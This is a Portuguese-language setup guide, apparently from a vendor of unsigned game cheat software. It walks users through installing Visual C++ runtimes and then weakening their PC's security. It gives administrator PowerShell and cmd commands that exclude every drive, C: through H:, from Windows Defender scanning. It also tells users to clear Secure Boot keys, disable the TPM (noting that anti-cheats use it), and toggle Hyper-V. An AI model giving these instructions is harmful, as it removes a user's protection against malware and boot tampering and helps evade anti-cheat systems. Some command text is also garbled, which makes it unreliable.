Preparando para o lançamento
Componentes de tempo de execução C++
Introdução
O Visual C++ Redistributable instala bibliotecas de tempo de execução Microsoft C e C++ (MSVC). Essas bibliotecas são exigidas por muitos aplicativos criados com ferramentas Microsoft C e C++. Se seu aplicativo usar essas bibliotecas, um pacote redistribuível do Microsoft Visual C++ deverá ser instalado no sistema de destino antes de instalar seu aplicativo. A arquitetura do pacote redistribuível deve corresponder à arquitetura de destino do seu aplicativo. A versão redistribuível deve ser pelo menos tão recente quanto o conjunto de ferramentas de build do MSVC usado para compilar seu aplicativo. Recomendamos que você use o Redistribuível mais recente disponível para sua versão do Visual Studio.
Instalação
INSTALAR REDIST X86
INSTALAR REDIST X64 (RECOMENDADO)
Proteção do Windows
NÃO RETIRE O WINDOWS DEFENDER
O Windows Defender não interfere no funcionamento do software, apenas diz que os arquivos não são bons para o pc, diz isso porque nossos arquivos são compactados usando:
E NÃO TEM ASSINATURA DIGITAL (ASSINATURA DE CÓDIGO)
Adicionar às exclusões
Adicione cada unidade às exclusões do Windows para que ela não incomode mais e você não precise excluí-la.
Instrução via PowerShell
- Abra o powershell como administrador
- Insira comandos
Add-MpPreference -ExclusionPath 'C:\'
Add-MpPreference -ExclusionPath 'D:\'
Add-MpPreference -ExclusionPath 'E:\'
Add-MpPreference -ExclusionPath 'F:\'
Add-MpPreference -ExclusionPath 'G:\'
Add-MpPreference -ExclusionPath 'H:\'
Instruction via Command line
- Abra o prompt de comando (
cmd.exe
) como administrador
DEVE SER ABERTO COMO ADMINISTRADOR
- Digite os seguintes comandos:
powershell -Command Add-MpPreference -ExclusionPath 'C:\'
powershell -Command Add-MpPreference -ExclusionPath 'D:\'
powershell -Command Add-MpPreference -ExclusionPath 'E:\'
powershell -Command Add-MpPreference -ExclusionPath 'F:\'
powershell -Command Add-MpPreference -ExclusionPath 'G:\'
powershell -Command Add-MpPreference -ExclusionPath 'H:\'
O WINDOWS DEFENDER NÃO VAI TE INCOMODAR MAIS
BIOS UEFI
VERIFIQUE SE O MODO BIOS DO SEU COMPUTADOR É UEFI
Para descobrir o modo BIOS:
- Abra o powershell como administrador
- Colar comando
$env:firmware_type
- Pressione ENTER
- Certifique-se de que powershell retornou o valor:
UEFI
PS C:\Windows\system32> $env:firmware_type
UEFI
Legado para UEFI
Existem 2 maneiras de mudar de legado para UEFI.
Não há necessidade de completar os dois caminhos, o segundo caminho é criado apenas caso o primeiro não seja possível de ser feito, ou caso tenha falhado.
A primeira forma é o MBR2GPT, a mais rápida, fácil e que salva todos os seus arquivos.
A segunda forma, é a reinstalação do Windows, é uma forma de backup de mudar do legado para o UEFI, que requer mais tempo, mais esforço e elimina todos os seus arquivos.
MBR2GPT
Você pode seguir este guia oficial da Microsoft
Ou este guia de texto escrito por nós:
Abra o powershell como administrador
Colar comando
mbr2gpt /disk:0 /validate /allowFullOS
- Colar comando
mbr2gpt /disk:0 /convert /allowFullOS
- Certifique-se de que a saída seja:
Antes que o novo sistema possa inicializar corretamente, você precisa mudar o firmware para inicializar no modo UEFI!
O primeiro problema que você pode encontrar é que após o segundo comando powershell dirá:
MBR2GPT:A validação do layout do disco falhou para o disco 0
Para corrigir falha na validação do layout do disco siga este guia em vídeo:
Reinstalação do Windows
Requer um pendrive USB com pelo menos 4 GB de espaço.
- Compre um USB com pelo menos 4 GB de espaço.
- Baixe a ferramenta de criação de mídia do Windows em qualquer um desses sites: Windows 11Windows 10 Para ver qual versão do Windows é compatível, acesse aqui
- Abra a ferramenta de criação de mídia do Windows e, primeiro, pressione próximo algumas vezes até chegar à etapa chamada "Escolha qual mídia usar" e selecione o arquivo ISO nela.
- Após a ferramenta de criação de mídia dizer que está pronto, baixe rufus
- Após o download, abra-o e defina "Esquema de partição" como GPT, e "Sistema de destino" para uefi não-csm igual a:
- Agora, vá para o BIOS, vá para a guia de inicialização e encontre CSM ou Módulo de suporte de compatibilidade e desative-o.
- Após desabilitar o CSM, inicialize a partir de sua unidade flash e instale o Windows removendo e criando todos os discos.
Secure Boot
VERIFIQUE SE A BOTA SEGURA ESTÁ DESATIVADA
Para garantir que o secure bot esteja desativado:
- Abra o powershell como administrador
- Colar comando
Confirme-SecureBootUEFI
- Pressione Enter
- Certifique-se de que powershell retornou o valor:
False
PS C:\Windows\system32> Confirm-SecureBootUEFI
False
SE VALOR: VERDADEIRO
O SECURE BOT está habilitadao e a inicialização será impossível
Desativar Secure Boot
TRABALHANDO COM BIOS
O Secure Boot e sempre desabilitado pelo BIOS
- Entre no BIOS.
- Abra as configurações avançadas (Modo Avançado (F7))
- Abra a seção BOOT(BOOT)
- Abra a subseção SEGURE BOOT
ESTA SEÇÃO PODE ESTAR NA SEÇÃO DE SEGURANÇA
- Abra o KEY MANAGMENT subseção
- Clique CLEAR SECURE BOOT KEYS
- Salve as configurações do BIOS e reinicie o PC
TPM
Introdução
Trusted Platform Module (TPM) e Secure Boot são tecnologias de segurança que permitem ao Windows 11 executar programas com um nível mais alto de confiança e segurança.
ALGUNS ANTI-CHEATS USAM TPM2.0 PARA AJUDAR NA COLETA DE INFORMAÇÕES
Desativar TPM
TRABALHANDO COM BIOS
O TPM está sempre desabilitado pelo BIOS
- Open advanced settings (Advance Mode (F7))
- Encontre SECURITY DEVICE SUPPORT ou TRUSTED COMPUTING
- Defina o valor como DISABLED
- Salve as configurações do BIOS e reinicie o PC
Virtualização
Introdução
Na computação, virtualização ou virtualização (às vezes abreviada como v12n, um numerônimo) é o ato de criar uma versão virtual (em vez de real) de algo no mesmo nível de abstração, incluindo plataformas de hardware de computador virtual, dispositivos de armazenamento e recursos de rede de computador.
VERIFIQUE SE A VIRTUALIZAÇÃO ESTÁ LIGADA
- Abra o Gerenciador de Tarefas
- Guia Desempenho
Habilite a virtualização na CPU AMD
::: aviso CONFIGURANDO A BIOS :::
- Abra as configurações avançadas (Modo Avançado (F7))
- Abra a seção Avançado
- Localize a opção Modo SVM
- Defina para ENABLE
- Salve as configurações do BIOS e reinicie o PC
Habilite a virtualização na CPU Intel
::: aviso CONFIGURANDO A BIOS :::
- Abra as configurações avançadas (Modo Avançado (F7))
- Abra a seção Avançado
- Localize o INTEL VIRTUALIZATION TECHNOLOGY opção
- Defina para ENABLE
- Salve as configurações do BIOS e reinicie o PC
Microsoft HyperV
Hyper Virtualization
Microsoft Hyper-V é um sistema de virtualização de hardware baseado em hipervisor para sistemas x64.
Uma partição filha não tem acesso ao processador físico nem lida com suas interrupções reais. Em vez disso, ele possui uma visão virtual do processador e é executado no Endereço Virtual do Convidado, que, dependendo da configuração do hipervisor, pode não ser necessariamente todo o espaço de endereço virtual. Dependendo da configuração da VM, o Hyper-V pode expor apenas um subconjunto de processadores para cada partição. O hipervisor trata as interrupções para o processador e as redireciona para a respectiva partição usando um Controlador de Interrupção Sintético lógico (SynIC). O Hyper-V pode acelerar por hardware a tradução de endereços de espaços de endereços virtuais convidados usando a tradução de endereços de segundo nível fornecida pela CPU.
Papel em nossos projetos
Antes de executar as próximas etapas, certifique-se de ter executado as últimas.
Utilizamos recursos do Hyper-V para melhorar a qualidade e a segurança de nossos produtos.
EM PRODUTOS QUE NÃO USA HIPERVISOR PRECISAMOS DESATIVAR O HIPERVISOR E A VIRTUALIZAÇÃO
Se você deseja ativar o hyperv
- Abra o prompt de comando (
cmd.exe
) como administrador
DEVE SER ABERTO COMO ADMINISTRADOR
- Digite os seguintes comandos:
bcdedit /set hypervisorlaunchtype auto
DISM /Online /Enable-Feature /All /FeatureName:Microsoft-Hyper-V
- Reinicie o seu computador
Se você deseja desativar o hyperv
- Abra o prompt de comando (
cmd.exe
) como administrador
DEVE SER ABERTO COMO ADMINISTRADOR
- Digite os seguintes comandos:
bcdedit /set hypervisorlaunchtype off
DISM /Online /Disable-Feature /All /FeatureName:Microsoft-Hyper-V
- Reinicie o seu computador